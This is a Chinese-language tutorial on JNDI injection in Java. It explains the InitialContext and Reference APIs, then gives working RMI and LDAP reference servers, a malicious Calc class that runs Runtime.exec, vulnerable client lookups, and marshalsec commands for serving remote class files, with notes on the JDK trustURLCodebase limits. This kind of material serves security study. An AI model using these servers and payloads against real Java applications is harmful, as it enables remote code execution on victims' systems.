JNDI(Java Naming and Directory Interface)是Java提供的Java 命名和目录接口。包括Naming Service和Directory Service,允许客户端通过名称发现和查找数据、对象。这些对象可以存储在不同的命名或目录服务中,例如远程方法调用(RMI),公共对象请求代理体系结构(CORBA),轻型目录访问协议(LDAP)或域名服务(DNS)
构造方法
//初始化一个上下文InitialContext()//构造一个初始上下文,并选择不初始化它。 InitialContext(boolean lazy)//使用提供的环境构建初始上下文。InitialContext(Hashtable<?,?> environment)常用方法
// 将名称绑定到对象。 bind(Name name, Object obj) //枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。list(String name) // 检索命名对象。 lookup(String name) //将名称绑定到对象,覆盖任何现有绑定rebind(String name, Object obj) //取消绑定命名对象。unbind(String name) 代码实例
String uri = "rmi://127.0.0.1:1099/work";InitialContext initialContext = new InitialContext();initialContext.lookup(uri);Reference是java中的引用类,该类表示对在命名/目录系统外部找到的对象的引用。提供了JNDI中类的引用功能。
构造方法
Reference(String className)为类名为“className”的对象构造一个新的引用。Reference(String className, RefAddr addr)为类名为“className”的对象和地址构造一个新引用。Reference(String className, RefAddr addr, String factory, String factoryLocation)为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。Reference(String className, String factory, String factoryLocation)为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。Reference的主要参数
常用方法
void add(int posn, RefAddr addr)将地址添加到索引posn的地址列表中。void add(RefAddr addr)将地址添加到地址列表的末尾。void clear()从此引用中删除所有地址。Object clone()使用其类别名称列表的地址,类工厂名称和类工厂位置创建此引用的副本。boolean equals(Object obj)确定obj是否是具有与该引用相同的地址(以相同的顺序)的引用。RefAddr get(int posn)检索索引posn上的地址。RefAddr get(String addrType)检索地址类型为“addrType”的第一个地址。Enumeration<RefAddr> getAll()检索本参考文献中地址的列举。String getClassName()检索引用引用的对象的类名。String getFactoryClassLocation()检索此引用引用的对象的工厂位置。String getFactoryClassName()检索此引用引用对象的工厂的类名。int hashCode()计算此引用的哈希码。Object remove(int posn)从地址列表中删除索引posn上的地址。int size()检索此引用中的地址数。String toString()生成此引用的字符串表示形式。ReferenceWrapper类对Reference类或其子类对象进行远程包装使其能够被远程访问
类也很简单,主要通过构造方法获取Reference,同时继承了UnicastRemoteObject。
public class ReferenceWrapper extends UnicastRemoteObject implements RemoteReference { protected Reference wrappee; private static final long serialVersionUID = 6078186197417641456L; public ReferenceWrapper(Reference var1) throws NamingException, RemoteException { this.wrappee = var1; } public Reference getReference() throws RemoteException { return this.wrappee; }}jndi注入有很多种攻击方式,这里只展示rmi和ldap方式,其他可以学习https://paper.seebug.org/1207/#
环境jdk1.8u66
RMIServer
package com.akkacloud.jndi;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.NamingException;import javax.naming.Reference;import java.rmi.AlreadyBoundException;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class RMIServer1 { public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException { Registry registry = LocateRegistry.createRegistry(1099); System.out.println("registry is runing in 1099"); //创建新的引用类,用于引用恶意类 Reference reference = new Reference("Calc", "com.akkacloud.jndi.Calc", "http://127.0.0.1:8000/"); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("obj",referenceWrapper); }}Calc(恶意类)
package com.akkacloud.jndi;import java.io.IOException;public class Calc { public Calc() throws IOException { Runtime.getRuntime().exec("open /System/Applications/Calculator.app"); }}RMIClient
package com.akkacloud.jndi;import javax.naming.InitialContext;import javax.naming.NamingException;import java.rmi.AlreadyBoundException;import java.rmi.RemoteException;public class RMIClient1 { public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException { String url = "rmi://localhost:1099/obj"; InitialContext initialContext = new InitialContext(); initialContext.lookup(url); }}首先编译我们的恶意代码文件挂在至网站
% javac Calc.java % python3 -m http.server
运行RMIServer

运行RMICilent

如果高版本(我这里是8u291)则会存在报错
system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.

还有就是使用marshalsec启动rmi服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://ip:80/#ExportObject 1099由于JNDI注入动态加载的原理是使用Reference引用Object Factory类,其内部在上文中也分析到了使用的是URLClassLoader,所以不受java.rmi.server.useCodebaseOnly=false
java.rmi.server.useCodebaseOnly 默认配置为truecom.sun.jndi.rmi.object.trustURLCodebase 默认值为falsecom.sun.jndi.ldap.object.trustURLCodebase 默认为false
图引用于 https://xz.aliyun.com/t/6633
导入依赖
<dependency> <groupId>com.unboundid</groupId> <artifactId>unboundid-ldapsdk</artifactId> <version>3.2.0</version></dependency>ldapServer
package com.akkacloud.jndi;import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;import com.unboundid.ldap.sdk.Entry;import com.unboundid.ldap.sdk.LDAPException;import com.unboundid.ldap.sdk.LDAPResult;import com.unboundid.ldap.sdk.ResultCode;import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;import java.net.InetAddress;import java.net.MalformedURLException;import java.net.URL;public class Ldap { private static final String LDAP_BASE = "dc=example,dc=com"; public static void main(String[] argsx) { String[] args = new String[]{"http://127.0.0.1:8000/#Calc", "9999"}; int port = 0; if (args.length < 1 || args[0].indexOf('#') < 0) { System.err.println(Ldap.class.getSimpleName() + " <codebase_url#classname> [<port>]"); //$NON-NLS-1$ System.exit(-1); } else if (args.length > 1) { port = Integer.parseInt(args[1]); } try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", //$NON-NLS-1$ InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$ port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0]))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$ ds.startListening(); } catch (Exception e) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; /** * */ public OperationInterceptor(URL cb) { this.codebase = cb; } /** * {@inheritDoc} * * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult) */ @Override public void processSearchResult(InMemoryInterceptedSearchResult result) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch (Exception e1) { e1.printStackTrace(); } } protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "foo"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if (refPos > 0) { cbstring = cbstring.substring(0, refPos); } e.addAttribute("javaCodeBase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$ e.addAttribute("javaFactory", this.codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } }}client
package com.akkacloud.jndi;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;public class LdapClient { public static void main(String[] args) throws NamingException { String uri = "ldap://127.0.0.1:9999/calc"; Context ctx = new InitialContext(); ctx.lookup(uri); }}启动web服务,把恶意文件编译成class文件挂在web服务目录下,恶意文件不能包含package信息


其实实战可以使用marshalsec启动一个ldap服务,客户端还是一样的
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#Calc 1389
web服务
python3 -m http.server
参考
https://www.cnblogs.com/nice0e3/p/13958047.html
https://paper.seebug.org/1091
https://y4er.com/post/attack-java-jndi-rmi-ldap-2/
https://paper.seebug.org/1207/#ldap